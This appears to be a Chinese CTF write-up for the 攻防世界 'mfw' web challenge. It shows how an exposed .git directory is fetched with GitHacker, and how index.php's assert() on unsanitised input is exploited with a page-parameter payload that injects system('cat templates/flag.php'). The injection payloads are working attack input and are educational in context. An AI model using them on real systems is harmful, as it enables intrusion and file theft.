首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【愚公系列】2023年05月 攻防世界-Web(mfw)

【愚公系列】2023年05月 攻防世界-Web(mfw)

作者头像
愚公搬代码
发布2025-05-28 14:29:55
发布2025-05-28 14:29:55
4300
举报
文章被收录于专栏:历史专栏历史专栏

前言

Git源码泄露是指Git代码管理平台(如GitHub、GitLab)上的Git版本控制系统(VCS)源代码被非授权的第三方人员或组织获取和使用的情况。这种泄露可能导致代码、密码、私人密钥等敏感数据暴露,使得Git代码库的安全受到威胁。Git源码泄露可能会导致严重的后果,例如造成恶意代码、信息泄漏、网络攻击等问题。因此,保护Git代码库的安全非常重要,并采取措施防止源码泄露的情况发生。

PHP是一种常用的服务器端脚本语言,安全特性是指在PHP编程中遵循一些安全规则、使用安全函数等,以防止代码被利用来进行攻击。

以下是一些常见的PHP安全特性:

  1. 输入验证:验证用户输入的数据,以确保它符合预期的格式和范围。避免使用不受信任的输入进行操作,比如SQL注入攻击。
  2. 表单处理:使用安全的方式处理表单和文件上传,确保上传的文件不会包含恶意代码或病毒。
  3. 密码存储:使用加密算法存储用户密码,比如bcrypt或Argon2,避免使用MD5等易被破解的算法。
  4. 跨站脚本攻击(XSS)防护:输出前对用户提供的数据进行过滤,确保不会输出恶意的脚本代码。
  5. 跨站请求伪造(CSRF)防护:为每个表单添加一个唯一的令牌,防止攻击者利用用户的登录信息进行攻击。
  6. 代码审计:定期检查代码,确保没有任何安全漏洞或可利用的弱点。
  7. 日志记录:记录所有敏感操作的日志,以便在发生安全事件时进行调查和分析。

这些安全特性可以提高PHP应用程序的安全性和保护用户的数据,可确保应用程序不会被利用来进行攻击。

一、mfw

1.题目

2.答题

打开之后发现有关于gif,php和bootstrap的信息,于是地址栏后面加.git

代码语言:javascript
复制
http://61.147.171.105:52415/.git/

发现存在git目录,使用kali的githacker下载,第一次使用需要安装

代码语言:javascript
复制
pip3 install GitHacker 

githacker使用方法如下:

代码语言:javascript
复制
githacker --url http://61.147.171.105:52415/ --output-folder 1

下载后得到目录文件

经查找只有index存在信息,打开index.php查看代码

关键代码段

代码语言:javascript
复制
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

分析:

代码语言:javascript
复制
assert("xxxxxxxx")函数表示截断,会直接运行其中xxxxx代码,如果xxxxx运行结果为true,则程序继续运行,如果返回false,则返回错误程度中断运行。

strpos函数表示`strpos('$a', '$b')`如果变量a中存在变量b,则返回true,否则返回false

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//这个语句用于过滤..

or 和die的作用是如果assert函数执行正确的话,会返回true(这其实就

是“真”),后面的语句就不会执行了。如果assert函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。

结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。

根据此语句可以构造php代码注入

先用phpinfo试一下

代码语言:javascript
复制
http://61.147.171.105:52415/?page=').phpinfo();//
代码语言:javascript
复制
?page=').system('cat templates/flag.php');//

构造出

代码语言:javascript
复制
assert("strpos('').system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

得到flag:cyberpeace{d62ff931427094f6446bc2d38dce1d0c}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一、mfw
    • 1.题目
    • 2.答题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档